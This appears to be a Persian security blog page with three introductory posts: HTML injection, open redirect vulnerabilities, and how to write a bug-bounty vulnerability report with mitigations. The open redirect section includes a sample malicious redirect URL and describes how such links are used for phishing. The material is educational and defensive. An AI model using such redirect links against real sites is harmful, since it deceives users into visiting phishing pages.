آشنایی با آسیب پذیری Html injection

حملات تزریق HTML گونه از حملات تزریق است که بسیار شبیه حملات XSS است.(آشنایی با آسیب پذیری Html injection(آشنایی با آسیب پذیری Html injection)

درحالی‌که در آسیب‌پذیری XSS مهاجم می‌تواند کد جاوا اسکریپت را تزریق و اجرا کند، تزریق HTML فقط اجازه تزریق برخی تگ‌های HTML را می‌دهد.

آشنایی با آسیب پذیری Html injection

هنگامی‌که یک برنامه کاربردی وب به‌درستی داده‌های واردشده توسط کاربر را مدیریت نمی‌کند، مهاجم می‌تواند کد HTML معتبر معمولاً از طریق یک مقدار پارامتر ارائه داده و محتوای خود را به صفحه تزریق کند.

این حمله به‌طورمعمول در ارتباط با گونه‌ای از مهندسی اجتماعی مورداستفاده قرار می‌گیرد، زیرا این نوع حملات از آسیب‌پذیری مبتنی بر کد و اعتماد کاربر، بهره‌برداری می‌نمایند.

حملات تزریق HTML، زمانی رخ می‌دهند که کاربر بتواند یک نقطه ورودی را کنترل کرده و کد HTML دلخواه خود را به صفحه وب آسیب‌پذیر تزریق نماید.

این نوع از حملات می‌توانند عواقب زیادی داشته باشند. هکر با استفاده از این نوع حملات می‌تواند با افشای کوکی‌های جلسه نشست کاربر به جعل هویت قربانی بپردازد و یا حتی به‌صورت کلی، هکر می‌تواند محتویات صفحه مورد مشاهده قربانی را تغییر دهد.

در ادامه پیشنهاد می کنم این ویدئو آموزشی را مشاهده بفرمایید تا با این آسیب پذیری بیشتر آشنا شوید.

آشنایی با آسیب پذیری Open Redirect

آشنایی با آسیب پذیری Open Redirect

سلام خدمت دوستان عزیز

طبق بررسی که انجام دادم متوجه شدم در وب فارسی آموزش کاملی در مورد این باگ وجود نداره و به همین دلیل امروز تصمیم گرفتم در مورد آسیب پذیری Open Redirect صحبت کنم و شما را با این آسیب پذیری جالب آشنا کنم.

بدون شک یادگیری این آسیب پذیری در پروژه های تست نفوذ شما تاثیر به سزایی خواهد داشت.

آشنایی با آسیب پذیری Open Redirect

این آسیب پذیری در وب اپلیکیشن ها وجود داره و به دلیل اشتباهات برنامه نویس به وجود می آید که نفوذگر می تواند از طریق این آسیب پذیری لینک مخرب خودش را از طریق دامنه سایت اصلی (آسیب پذیر) برای کاربر اجرا کند.

به این مثال توجه کنید :

https://faranesh.com/redirect.php?page=http://bmansoori.ir

 

دراین مثال ورودی page در صفحه redirect.php سایت faranesh.com آسیب پذیر است.

ما با وارد کردن آدرس در ورودی که در مثال ما page است به سایت مورد نظر منتقل می شویم.

کاربرد این آسیب پذیری

از این آسیب پذیری می توان در حملات فیشینگ استفاده کرد.وقتی لینک برای قربانی ارسال می شود ، در بیشتر مواقع آدرس را به صورت کامل مشاهده نمی کند و فقط به ابتدای آدرس توجه می کند.

از آنجایی که ابتدای آدرس مربوط به یک سایت معتبر می باشد و آدرس اصلی است ، قربانی فریب می خورد.

توجه داشته باشید که این حفره امنیتی بسیار رایج است و در وب سایت هایی مثل گوگل  و فیسبوک این آسیب پذیری وجود داشته است.

امن سازی

برای برطرف کردن این مشکل باید ورودی های وب سایت را کنترل کنید.

  • از تغییر مسیرها (Redirect) و هدایت‌ها (Forwarding) اجتناب کنید.
  • از ورودی کاربر برای تعیین مقصد استفاده نکنید.
  • اگر از پارامترهای مقصد نمی‌توان اجتناب کرد، حتماً بررسی شود که مقادیر ارائه‌شده برای کاربر، مجاز و معتبر باشد.

گاهی ممکن است به‌طور کامل نتوان از تغییر مسیرها و هدایت‌ها اجتناب کرد، بنابراین باید توجه داشت که مقادیر ارائه‌شده حتماً مجاز و معتبر باشند.

روش‌های گوناگونی برای جلوگیری استفاده از داده‌های نامعتبر وجود دارد که در زیر بیان‌شده‌اند.

  • ایجاد یک لیست سفید یا Whitelist از صفحات مجاز وب‌سایت یا سایت‌های خارجی.
  • فقط اجازه تغییر مسیر یا هدایت در شرایط مناسب و خاص داده شود.
  • تغییر مسیرهای که مورداستفاده قرار نمی‌گیرند را غیرفعال نمایید.
  • تمامی درخواست‌های HTTP برای تغییر مسیری که استفاده نمی‌شود را اسکن نموده و آن‌ها را نادیده گرفته یا Ignore نمایید.

روش دیگر استفاده از فایروال قوی برای سرور است.

 

برای درک بهتر از اهمیت این حفره امنیتی لینک مقاله ای رو برای شما قرار می دهم که در آن نفوذگر با گزارش این آسیب پذیری در یک وب سایت مبلغ ۱۰۰ دلار جایزه دریافت کرده است.

در این مقاله نفوذگر مرحله به مرحله کار از تست نفوذ تا گزارش آسیب پذیری را شرح داده است.

لینک مقاله

 

برای درک بهتر موضوع ، نمونه ای از گزارش های انجام شده در مورد این آسیب پذیری رو براتون قرار میدم

شماره ۱ : دریافت جایزه ۵۰۰ دلاری از سایت shopify.com

شماره ۲ : دریافت جایزه ۵۰۰ دلاری از سایت shopify.com

شماره ۳ : دریافت جایزه ۵۰۰ دلاری از سایت hackerone.com

 

نوشتن گزارش آسیب پذیری خوب

نوشتن گزارش آسیب پذیری خوب

نوشتن گزارش آسیب پذیری خوب کار سختی نیست به شرطی که وقت بزاری و این متن رو تا آخر مطالعه کنی 😉 

نوشتن گزارش آسیب پذیری خوب

زمان نوشتن یک گزارش آسیب پذیری باید تا حد امکان اطلاعاتی در اختیار تیم مدیریت قرار بگیره تا اعتبار گزارش شما تایید بشه.

– عنوان گزارش

عنوان گزارش خوب ترکیبی از نوع آسیب پذیری ، دامنه یا نتیجه نهایی است و مشخص کردن بخشی که در آنجا این آسیب پذیری رخ می دهد ( این می تواند یک پارامتر درخواست یا یک روش حمله باشد).

عنوان گزارش باید توصیفی باشد و روی نکته اصلی تمرکز کند ، به عنوان مثال :

Sql Injection at Target.com/with method xpath”

– توضیحات و مقدمه گزارش

این در واقع مقدمه ای کوتاه در مورد نوع آسیب پذیری ، علل به وجود آمدن آن و بخشی است که آسیب پذیری در آن به وجود آمده است.

– تفسیر

این بخش باید از دید هکر نوشته شود و شامل تصاویر و ویدئوهایی است که درک آسیب پذیری را برای تیم برنامه نویسی سایت مورد نظر ممکن می کند.

*مطمئن شوید که تمام مراحل را به صورت کامل و در عین حال ساده توضیح داده باشید.

– ابزارها و کدها

اگر در طی حمله از ابزار و یا قطعه کدی استفاده کردید آن را در گزارش قرار دهید.

البته می توانید این موارد را در بخش تفسیر نیز قرار دهید.

برای نمونه در حفره امنیتی XSS می توانید یک قطعه کد ساده برای نمایش هشدار روی صفحه در این بخش قرار دهید و نیازی به چندین مثال نیست.

– بخش اضافی

در گزارش هایی که حفره امنیتی پیچیده تر است ممکن است برای پیاده سازی حمله شرایط خاصی نیاز باشد که در این صورت می توانید آن شرایط را در این بخش شرح دهید.

– تاثیر آسیب پذیری

سعی کنید توضیح دهید مهاجم با این آسیب پذیری چه کاری می تواند انجام دهد ، به چه اطلاعاتی می تواند دسترسی داشته باشد و این مسئله چگونه سایر کاربران سیستم را تحت تأثیر قرار می دهد.

هرچه شدت آسیب پذیری بیشتر باشد جایزه دریافتی شما هم بیشتر خواهد بود 😀 

توصیه

در این بخش برای رفع آسیب پذیری روش هایی رو پیشنهاد می دهیم (این بخش اختیاری است).

مرجع

در انتهای گزارش قرار دارد و حاوی پیوندهایی به سایتهای خارجی مربوط به آسیب پذیری است.

این بخش اختیاری است و اغلب فقط درصورتی که گزارش شامل تکنیک های حمله جدید یا پیچیده ای باشد ، گنجانده شده است.

نمونه یک فرم گزارش را در تصویر زیر مشاهده می کنید:

نوشتن گزارش آسیب پذیری خوب

البته در بعضی موارد گزارش می تواند ساده تر نوشته شود و بعضی از مولفه ها استفاده نشوند.

اینها مؤلفه های کلی گزارش آسیب پذیری خوب و مفصل هستند.

در صورتی که اطلاعات کافی در گزارش ثبت شود ، نه تنها گزارش را خواندنی و آسان می کند ، بلکه به تیم امنیتی نیز کمک می کند تا به سرعت مشکل را شناسایی و برطرف کند. همچنین گاهی اوقات مبلغ جایزه را افزایش می دهد. :mrgreen: